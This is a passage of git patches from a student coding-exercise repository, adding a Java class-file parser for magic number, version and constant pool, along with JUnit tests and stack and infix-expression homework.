+		classFile.setMinorVersion(codeIterator.nextU2ToInt());
+		classFile.setMajorVersion(codeIterator.nextU2ToInt());
+		
+		return classFile;
 	}
 
+	
 	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
-
-		return null;
+		//�����������أ������صij����Ƕ��٣�
+		AccessFlag accessFlag = new AccessFlag(iter.nextU2ToInt());
+		return accessFlag;
 	}
 
-	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
+	private ClassIndex parseClassIndex(ByteCodeIterator iter) {
 
 		return null;
 
 	}
 
 	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
-
-		return null;
+		ConstantPool pool = new ConstantPool();
+		ClassInfo classInfo = new ClassInfo(pool);
+		//classInfo tagֵ
+		iter.nextU1toInt();
+		classInfo.setUtf8Index(iter.nextU2ToInt());
+		pool.addConstantInfo(classInfo);
+		
+		UTF8Info utf8Info = new UTF8Info(pool);
+		//UTF8Info tagֵ
+		iter.nextU1toInt();
+		//UTF8Info lengthֵ
+		int length = iter.nextU2ToInt();
+		utf8Info.setLength(length);
+		utf8Info.setValue(iter.nextUxToHexString(length));
+		pool.addConstantInfo(utf8Info);
+		
+		classInfo = new ClassInfo(pool);
+		//classInfo tagֵ
+		iter.nextU1toInt();
+		classInfo.setUtf8Index(iter.nextU2ToInt());
+		pool.addConstantInfo(classInfo);
+		
+		for(int i=0;i<8;i++){
+			utf8Info = new UTF8Info(pool);
+			//UTF8Info tagֵ
+			iter.nextU1toInt();
+			//UTF8Info lengthֵ
+			length = iter.nextU2ToInt();
+			utf8Info.setLength(length);
+			utf8Info.setValue(iter.nextUxToHexString(length));
+			pool.addConstantInfo(utf8Info);
+		}
+		
+		return pool;
 	}
 
 }
\ No newline at end of file
diff --git a/group06/263050006/src/test/java/com/github/chaoswang/learning/java/jvm/ClassFileloaderTest.java b/group06/263050006/src/test/java/com/github/chaoswang/learning/java/jvm/ClassFileloaderTest.java
index 16c361ca04..3694a31b59 100644
--- a/group06/263050006/src/test/java/com/github/chaoswang/learning/java/jvm/ClassFileloaderTest.java
+++ b/group06/263050006/src/test/java/com/github/chaoswang/learning/java/jvm/ClassFileloaderTest.java
@@ -21,18 +21,19 @@
 public class ClassFileloaderTest {
 
 	private static final String FULL_QUALIFIED_CLASS_NAME = "com/github/chaoswang/learning/java/jvm/EmployeeV1";
-	static String path1 = "E:\\workspace_jee\\coding2017\\target\\test-classes";
+//	static String path1 = "E:\\workspace_jee\\coding2017\\target\\test-classes";
+	static String path1 = "D:\\project\\workspace_1\\d-learning\\target\\test-classes";
 	static String path2 = "C:\temp";
 
 	static ClassFile clzFile = null;
-//	static {
-//		ClassFileLoader loader = new ClassFileLoader();
-//		loader.addClassPath(path1);
-//		String className = "com.github.chaoswang.learning.java.jvm.EmployeeV1";
-//
-//		clzFile = loader.loadClass(className);
-//		clzFile.print();
-//	}
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.github.chaoswang.learning.java.jvm.EmployeeV1";
+
+		clzFile = loader.loadClass(className);
+		clzFile.print();
+	}
 
 	@Before
 	public void setUp() throws Exception {

From 3ac90d6d7aecc46d0e8745270ace4e3a44c6bd32 Mon Sep 17 00:00:00 2001
From: "yanght1454385822@qq.com" <yanght1454385822@qq.com>
Date: Wed, 12 Apr 2017 17:07:56 +0800
Subject: [PATCH 076/262] homework_05

---
 .../homework_04/jvm/attr/AccessFlag.java      |  26 +++
 .../basic/homework_04/jvm/clz/ClassFile.java  | 107 ++++++++++
 .../homework_04/jvm/clz/ClassFileParser.java  |  99 +++++++++
 .../basic/homework_04/jvm/clz/ClassIndex.java |  22 ++
 .../jvm/constant/ConstantInfo.java            |  23 ++
 .../jvm/constant/ConstantPool.java            |  33 +++
 .../basic/homework_04/jvm/info/ClassInfo.java |  43 ++++
 .../homework_04/jvm/info/FieldRefInfo.java    |  34 +++
 .../homework_04/jvm/info/MethodRefInfo.java   |  37 ++++
 .../homework_04/jvm/info/NameAndTypeInfo.java |  39 ++++
 .../jvm/info/NullConstantInfo.java            |  16 ++
 .../homework_04/jvm/info/StringInfo.java      |  27 +++
 .../basic/homework_04/jvm/info/UTF8Info.java  |  37 ++++
 .../jvm/loader/ClassFileLoader.java           |  25 ++-
 .../jvm/test/ClassFileloaderTest.java         | 198 +++++++++++++++++-
 .../jvm/util/ByteCodeIterator.java            |  56 +++++
 .../basic/homework_04/jvm/util/Util.java      |  26 +++
 .../coding/basic/homework_05/stack/Stack.java |  32 ---
 .../basic/homework_05/stack/StackUtil.java    |  93 ++++----
 .../homework_05/stack/StackUtilTest.java      |  78 +++++++
 .../basic/homework_06/expr/InfixExpr.java     |  18 ++
 .../basic/homework_06/expr/InfixExprTest.java |  48 +++++
 22 files changed, 1028 insertions(+), 89 deletions(-)
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/attr/AccessFlag.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFile.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFileParser.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassIndex.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/constant/ConstantInfo.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/constant/ConstantPool.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/info/ClassInfo.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/info/FieldRefInfo.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/info/MethodRefInfo.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/info/NameAndTypeInfo.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/info/NullConstantInfo.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/info/StringInfo.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/info/UTF8Info.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/util/ByteCodeIterator.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/util/Util.java
 delete mode 100644 group06/1454385822/src/com/coding/basic/homework_05/stack/Stack.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_05/stack/StackUtilTest.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_06/expr/InfixExpr.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_06/expr/InfixExprTest.java

diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/attr/AccessFlag.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/attr/AccessFlag.java
new file mode 100644
index 0000000000..9854d93ba3
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/attr/AccessFlag.java
@@ -0,0 +1,26 @@
+package com.coding.basic.homework_04.jvm.attr;
+
+public class AccessFlag {
+
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+	
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flagValue) {
+		this.flagValue = flagValue;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFile.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..05e6e579b2
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFile.java
@@ -0,0 +1,107 @@
+package com.coding.basic.homework_04.jvm.clz;
+
+import com.coding.basic.homework_04.jvm.attr.AccessFlag;
+import com.coding.basic.homework_04.jvm.constant.ConstantPool;
+
+public class ClassFile {
+
+	private String MagicNumber;
+	
+	private int minorVersion;
+	private int majorVersion;
+	private ConstantPool constantPool;
+	private int ConstantNum;
+	private ClassIndex clzIndex;
+	
+	private AccessFlag accessFlag;
+	
+	
+	
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+
+
+
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+
+
+
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+
+
+
+	public void setClzIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;
+	}
+
+
+
+	public int getConstantNum() {
+		return ConstantNum;
+	}
+
+
+
+	public void setConstantNum(int constantNum) {
+		ConstantNum = constantNum;
+	}
+
+
+
+	public void print() {
+		System.out.println("MagicNumber: "+ MagicNumber);
+		System.out.println( "minorVersion" +minorVersion);
+		System.out.println("majorVersion" + majorVersion);
+		
+	}
+	
+	
+
+	public String getMagicNumber() {
+		return MagicNumber;
+	}
+
+
+
+	public void setMagicNumber(String magicNumber) {
+		MagicNumber = magicNumber;
+	}
+
+
+
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+
+
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+
+
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+
+
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+
+
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+
+
+	public void setConstantPool(ConstantPool constantPool) {
+		this.constantPool = constantPool;
+	}
+
+	
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFileParser.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFileParser.java
new file mode 100644
index 0000000000..ce1853b454
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFileParser.java
@@ -0,0 +1,99 @@
+package com.coding.basic.homework_04.jvm.clz;
+
+import java.io.UnsupportedEncodingException;
+
+import com.coding.basic.homework_04.jvm.attr.AccessFlag;
+import com.coding.basic.homework_04.jvm.constant.ConstantPool;
+import com.coding.basic.homework_04.jvm.info.ClassInfo;
+import com.coding.basic.homework_04.jvm.info.FieldRefInfo;
+import com.coding.basic.homework_04.jvm.info.MethodRefInfo;
+import com.coding.basic.homework_04.jvm.info.NameAndTypeInfo;
+import com.coding.basic.homework_04.jvm.info.NullConstantInfo;
+import com.coding.basic.homework_04.jvm.info.StringInfo;
+import com.coding.basic.homework_04.jvm.info.UTF8Info;
+import com.coding.basic.homework_04.jvm.util.ByteCodeIterator;
+
+public class ClassFileParser {
+
+	private ClassFile classFile;
+	
+	private ConstantPool pool;
+	
+	public ClassFile parser(byte[] codes) {
+		ByteCodeIterator iterator = new ByteCodeIterator(codes);
+		classFile = new ClassFile();
+		classFile.setMagicNumber(iterator.nextU4ToHexString());
+		classFile.setMinorVersion(iterator.nextU2ToInt());
+		classFile.setMajorVersion(iterator.nextU2ToInt());
+		classFile.setConstantNum(iterator.nextU2ToInt());
+		
+		System.out.println("Constant Pool Count :" + classFile.getConstantNum());
+		
+		try {
+			classFile.setConstantPool(parserConstantPool(iterator));
+		} catch (UnsupportedEncodingException e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		}
+
+		classFile.setAccessFlag(new AccessFlag(iterator.nextU2ToInt()));
+		
+		ClassIndex clzIndex = new ClassIndex();
+		clzIndex.setThisClassIndex(iterator.nextU2ToInt());
+		clzIndex.setSuperClassIndex(iterator.nextU2ToInt());
+		
+		classFile.setClzIndex(clzIndex);
+		
+		return classFile;
+	}
+
+	private ConstantPool parserConstantPool(ByteCodeIterator iterator) throws UnsupportedEncodingException{
+		pool = new ConstantPool();
+		
+		
+		pool.addConstantInfo(new NullConstantInfo());
+		for(int i=1; i <= classFile.getConstantNum() - 1; i++){
+			int tag = iterator.nextU1toInt();
+			
+			if(tag == 7){ //class info
+				ClassInfo clzInfo = new ClassInfo(pool);
+				clzInfo.setUtf8Index(iterator.nextU2ToInt());
+				pool.addConstantInfo(clzInfo);
+			}else if(tag == 1){ //utf8 info
+				UTF8Info utf8Info = new UTF8Info(pool);
+				utf8Info.setLength(iterator.nextU2ToInt());
+				String string  = iterator.nextUxToHexString(utf8Info.getLength());
+				utf8Info.setValue(string);
+//				System.out.println(utf8Info.toString());
+				
+				pool.addConstantInfo(utf8Info);
+			}else if(tag == 8){ //String info
+				StringInfo stringInfo = new StringInfo(pool);
+				stringInfo.setString_index(iterator.nextU2ToInt());
+				pool.addConstantInfo(stringInfo);
+			}else if(tag == 9){ //FieldRef info
+				FieldRefInfo fieldRefInfo = new FieldRefInfo(pool);
+				fieldRefInfo.setClz_index(iterator.nextU2ToInt());
+				fieldRefInfo.setNameAndType_index(iterator.nextU2ToInt());
+				pool.addConstantInfo(fieldRefInfo);
+			}else if(tag == 10){ //MethodRef info
+				MethodRefInfo methodRefInfo = new MethodRefInfo(pool);
+				methodRefInfo.setClass_index(iterator.nextU2ToInt());
+				methodRefInfo.setNameAndType_index(iterator.nextU2ToInt());
+				pool.addConstantInfo(methodRefInfo);
+			}else if(tag == 12){ //NameAndType info
+				NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(pool);
+				nameAndTypeInfo.setClz_index(iterator.nextU2ToInt());
+				nameAndTypeInfo.setDescriptor_index(iterator.nextU2ToInt());
+				pool.addConstantInfo(nameAndTypeInfo);
+			}else{
+				throw new RuntimeException("this tag" + tag+"has no already implement yet!!");
+			}
+		}
+		System.out.println("pool size:" +pool.getSize());
+		
+		System.out.println("finished parser constantPool!!");
+		return pool;
+	}
+	
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassIndex.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..eb2b604537
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassIndex.java
@@ -0,0 +1,22 @@
+package com.coding.basic.homework_04.jvm.clz;
+
+public class ClassIndex {
+
+	private int thisClassIndex;
+	private int superClassIndex;
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+	
+	
+	
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/constant/ConstantInfo.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..c7209b72b5
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/constant/ConstantInfo.java
@@ -0,0 +1,23 @@
+package com.coding.basic.homework_04.jvm.constant;
+
+import org.omg.CORBA.PRIVATE_MEMBER;
+
+public class ConstantInfo {
+
+	public static final int CLASS_INFO = 7;
+	public static final int UTF8_INFO = 1;
+	public static final int STRING_INFO = 8;
+	public static final int FIELDREF_INFO = 9;
+	public static final int METHODREF_INFO = 10;
+	public static final int NAMEANDTYPE_INFO = 12;
+	
+	protected ConstantPool pool;
+	public ConstantInfo(){
+			
+	}
+	public ConstantInfo(ConstantPool pool) {
+		this.pool = pool;
+	}
+
+
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/constant/ConstantPool.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..261e5f5a15
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/constant/ConstantPool.java
@@ -0,0 +1,33 @@
+package com.coding.basic.homework_04.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coding.basic.homework_04.jvm.info.UTF8Info;
+
+public class ConstantPool {
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	
+	public ConstantPool() {
+
+	}
+	
+	public void addConstantInfo(ConstantInfo info){
+		constantInfos.add(info);
+	}
+	
+	public int getSize() {
+		return this.constantInfos.size() - 1;
+	}
+
+
+	public ConstantInfo getConstantInfo(int type) {
+		
+		return this.constantInfos.get(type);
+	}
+	
+	public String getUTF8String(int index){
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}
+
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/ClassInfo.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/ClassInfo.java
new file mode 100644
index 0000000000..c30a15f36d
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/ClassInfo.java
@@ -0,0 +1,43 @@
+package com.coding.basic.homework_04.jvm.info;
+
+import com.coding.basic.homework_04.jvm.constant.ConstantInfo;
+import com.coding.basic.homework_04.jvm.constant.ConstantPool;
+
+public class ClassInfo extends ConstantInfo {
+
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+		// TODO Auto-generated constructor stub
+	}
+	public ClassInfo() {
+		// TODO Auto-generated constructor stub
+	}
+
+	private  int tag = ConstantInfo.CLASS_INFO;
+	
+	private int utf8Index;
+
+	public int getTag() {
+		return tag;
+	}
+
+
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+
+	public void setUtf8Index(int name_index) {
+		this.utf8Index = name_index;
+	}
+	public String getClassName() {
+		int utf8Index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)pool.getConstantInfo(utf8Index);
+		return utf8Info.getValue();
+	}
+	
+	
+	
+	
+	
+	
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/FieldRefInfo.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/FieldRefInfo.java
new file mode 100644
index 0000000000..d29e5564eb
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/FieldRefInfo.java
@@ -0,0 +1,34 @@
+package com.coding.basic.homework_04.jvm.info;
+
+import com.coding.basic.homework_04.jvm.constant.ConstantInfo;
+import com.coding.basic.homework_04.jvm.constant.ConstantPool;
+
+public class FieldRefInfo extends ConstantInfo{
+
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+		// TODO Auto-generated constructor stub
+	}
+	public FieldRefInfo() {
+		// TODO Auto-generated constructor stub
+	}
+	private int tag = ConstantInfo.FIELDREF_INFO;
+	private int clz_index;
+	private int nameAndType_index;
+	public int getClz_index() {
+		return clz_index;
+	}
+	public void setClz_index(int clz_index) {
+		this.clz_index = clz_index;
+	}
+	public int getNameAndType_index() {
+		return nameAndType_index;
+	}
+	public void setNameAndType_index(int nameAndType_index) {
+		this.nameAndType_index = nameAndType_index;
+	}
+	public int getTag() {
+		return tag;
+	}
+	
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/MethodRefInfo.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/MethodRefInfo.java
new file mode 100644
index 0000000000..1467cf94d0
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/MethodRefInfo.java
@@ -0,0 +1,37 @@
+package com.coding.basic.homework_04.jvm.info;
+
+import com.coding.basic.homework_04.jvm.constant.ConstantInfo;
+import com.coding.basic.homework_04.jvm.constant.ConstantPool;
+
+public class MethodRefInfo extends ConstantInfo {
+
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+		// TODO Auto-generated constructor stub
+	}
+	public MethodRefInfo() {
+		// TODO Auto-generated constructor stub
+	}
+	private int tag = ConstantInfo.METHODREF_INFO;
+	private int class_index;
+	private int nameAndType_index;
+	
+	public int getClass_index() {
+		return class_index;
+	}
+	public void setClass_index(int class_index) {
+		this.class_index = class_index;
+	}
+	public int getNameAndType_index() {
+		return nameAndType_index;
+	}
+	public void setNameAndType_index(int nameAndType_index) {
+		this.nameAndType_index = nameAndType_index;
+	}
+	public int getTag() {
+		return tag;
+	}
+	
+	
+	
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/NameAndTypeInfo.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/NameAndTypeInfo.java
new file mode 100644
index 0000000000..49d26d5083
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/NameAndTypeInfo.java
@@ -0,0 +1,39 @@
+package com.coding.basic.homework_04.jvm.info;
+
+import com.coding.basic.homework_04.jvm.constant.ConstantInfo;
+import com.coding.basic.homework_04.jvm.constant.ConstantPool;
+
+public class NameAndTypeInfo extends ConstantInfo {
+
+	private int tag = ConstantInfo.NAMEANDTYPE_INFO;
+	private int clz_index;
+	private int descriptor_index;
+	
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+		// TODO Auto-generated constructor stub
+	}
+	public NameAndTypeInfo() {
+		// TODO Auto-generated constructor stub
+	}
+	
+	
+	public int getClz_index() {
+		return clz_index;
+	}
+	public void setClz_index(int clz_index) {
+		this.clz_index = clz_index;
+	}
+	
+	public int getDescriptor_index() {
+		return descriptor_index;
+	}
+	public void setDescriptor_index(int descriptor_index) {
+		this.descriptor_index = descriptor_index;
+	}
+	public int getTag() {
+		return tag;
+	}
+	
+	
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/NullConstantInfo.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/NullConstantInfo.java
new file mode 100644
index 0000000000..8b44232f31
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/NullConstantInfo.java
@@ -0,0 +1,16 @@
+package com.coding.basic.homework_04.jvm.info;
+
+import com.coding.basic.homework_04.jvm.constant.ConstantInfo;
+import com.coding.basic.homework_04.jvm.constant.ConstantPool;
+
+public class NullConstantInfo extends ConstantInfo{
+
+	public NullConstantInfo(ConstantPool pool) {
+		super(pool);
+		// TODO Auto-generated constructor stub
+	}
+
+	public NullConstantInfo() {
+		// TODO Auto-generated constructor stub
+	}
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/StringInfo.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/StringInfo.java
new file mode 100644
index 0000000000..3399821e58
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/StringInfo.java
@@ -0,0 +1,27 @@
+package com.coding.basic.homework_04.jvm.info;
+
+import com.coding.basic.homework_04.jvm.constant.ConstantInfo;
+import com.coding.basic.homework_04.jvm.constant.ConstantPool;
+
+public class StringInfo extends ConstantInfo {
+
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public StringInfo() {
+		// TODO Auto-generated constructor stub
+	}
+	private int tag = ConstantInfo.STRING_INFO;
+	private int string_index;
+	public int getString_index() {
+		return string_index;
+	}
+	public void setString_index(int string_index) {
+		this.string_index = string_index;
+	}
+	public int getTag() {
+		return tag;
+	}
+	
+	
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/UTF8Info.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/UTF8Info.java
new file mode 100644
index 0000000000..abc51a4c33
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/UTF8Info.java
@@ -0,0 +1,37 @@
+package com.coding.basic.homework_04.jvm.info;
+
+import com.coding.basic.homework_04.jvm.constant.ConstantInfo;
+import com.coding.basic.homework_04.jvm.constant.ConstantPool;
+
+public class UTF8Info extends ConstantInfo{
+
+	private int tag = ConstantInfo.UTF8_INFO;
+	private int length;
+	private String value;
+	
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+	public UTF8Info() {
+	}
+	
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+
+	@Override
+	public String toString() {
+		return "UTF8Info [tag=" + tag + ", length=" + length + ", value=" + value +")]";
+	}
+	public String getValue() {
+		return value;
+	}
+	public void setValue(String value) {
+		this.value = value;
+	}
+	
+	
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/loader/ClassFileLoader.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/loader/ClassFileLoader.java
index e4d36e04c6..6cc1f20181 100644
--- a/group06/1454385822/src/com/coding/basic/homework_04/jvm/loader/ClassFileLoader.java
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/loader/ClassFileLoader.java
@@ -7,6 +7,8 @@
 import java.util.Arrays;
 import java.util.List;
 
+import com.coding.basic.homework_04.jvm.clz.ClassFile;
+import com.coding.basic.homework_04.jvm.clz.ClassFileParser;
 
 
 public class ClassFileLoader {
@@ -62,11 +64,11 @@ private byte[] readFile(File file){
 	 * @return
 	 */
 	private String getPath(String path ,String className){
-		System.out.println(className);
+//		System.out.println(className);
 		String [] ways = className.split("\\.");
-		for (String string : ways) {
-			System.out.println(string);
-		}
+//		for (String string : ways) {
+//			System.out.println(string);
+//		}
 		StringBuilder builder = new StringBuilder();
 		builder.append(path);
 		for (String string : ways) {
@@ -75,7 +77,7 @@ private String getPath(String path ,String className){
 			builder.append(string);
 		}
 		builder.append(".class");
-		System.out.println(builder.toString());
+//		System.out.println(builder.toString());
 		return builder.toString();
 	}
 	
@@ -107,8 +109,19 @@ public String getClassPath(){
 		return builder.toString();
 	}
 
+	public ClassFile loadClass(String className) {
+		byte[] codes = readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		ClassFile clzFile = parser.parser(codes);
+		return clzFile;
+	}
+
 	
 
 	
 
-}
\ No newline at end of file
+}
+	 
+
+
+	
\ No newline at end of file
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/test/ClassFileloaderTest.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/test/ClassFileloaderTest.java
index a0ba195077..c419db3033 100644
--- a/group06/1454385822/src/com/coding/basic/homework_04/jvm/test/ClassFileloaderTest.java
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/test/ClassFileloaderTest.java
@@ -1,19 +1,38 @@
 package com.coding.basic.homework_04.jvm.test;
 
+import java.util.List;
+
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
 
+import com.coding.basic.homework_04.jvm.clz.ClassFile;
+import com.coding.basic.homework_04.jvm.clz.ClassIndex;
+import com.coding.basic.homework_04.jvm.constant.ConstantPool;
+import com.coding.basic.homework_04.jvm.info.ClassInfo;
+import com.coding.basic.homework_04.jvm.info.MethodRefInfo;
+import com.coding.basic.homework_04.jvm.info.NameAndTypeInfo;
+import com.coding.basic.homework_04.jvm.info.UTF8Info;
 import com.coding.basic.homework_04.jvm.loader.ClassFileLoader;
 
+
+
 public class ClassFileloaderTest {
 
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
 	
 	static String path1 = "C:\\Users\\yanght\\Documents\\mygit\\coding2017-1\\group06\\1454385822\\bin";
 	static String path2 = "D:\temp";
-	
-	
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coding.basic.homework_04.jvm.test.EmployeeV2";
+		
+		clzFile = loader.loadClass(className);
+		clzFile.print();
+	}
 	
 	@Before
 	public void setUp() throws Exception {		 
@@ -42,13 +61,12 @@ public void testClassFileLength() {
 		ClassFileLoader loader = new ClassFileLoader();
 		loader.addClassPath(path1);
 		
-		String className = "com.coding.basic.homework_04.jvm.test.EmployeeV1";
-//		String className = "EmployeeV1";
+		String className = "com.coding.basic.homework_04.jvm.test.EmployeeV2";
 		
 		byte[] byteCodes = loader.readBinaryCode(className);
 		
 		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-		Assert.assertEquals(1084, byteCodes.length);
+		Assert.assertEquals(1056, byteCodes.length);
 		
 	}
 	
@@ -57,7 +75,7 @@ public void testClassFileLength() {
 	public void testMagicNumber(){
     	ClassFileLoader loader = new ClassFileLoader();
 		loader.addClassPath(path1);
-		String className = "com.coding.basic.homework_04.jvm.test.EmployeeV1";
+		String className = "com.coding.basic.homework_04.jvm.test.EmployeeV2";
 		byte[] byteCodes = loader.readBinaryCode(className);
 		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
 		
@@ -86,4 +104,172 @@ private String byteToHexString(byte[] codes ){
 		return buffer.toString();
 	}
 
+
+    
+    /**
+     * ----------------------------------------------------------------------
+     */
+    
+    
+    @Test
+    public void testVersion(){    			
+		
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(52, clzFile.getMajorVersion());
+		
+    }
+    
+    @Test
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
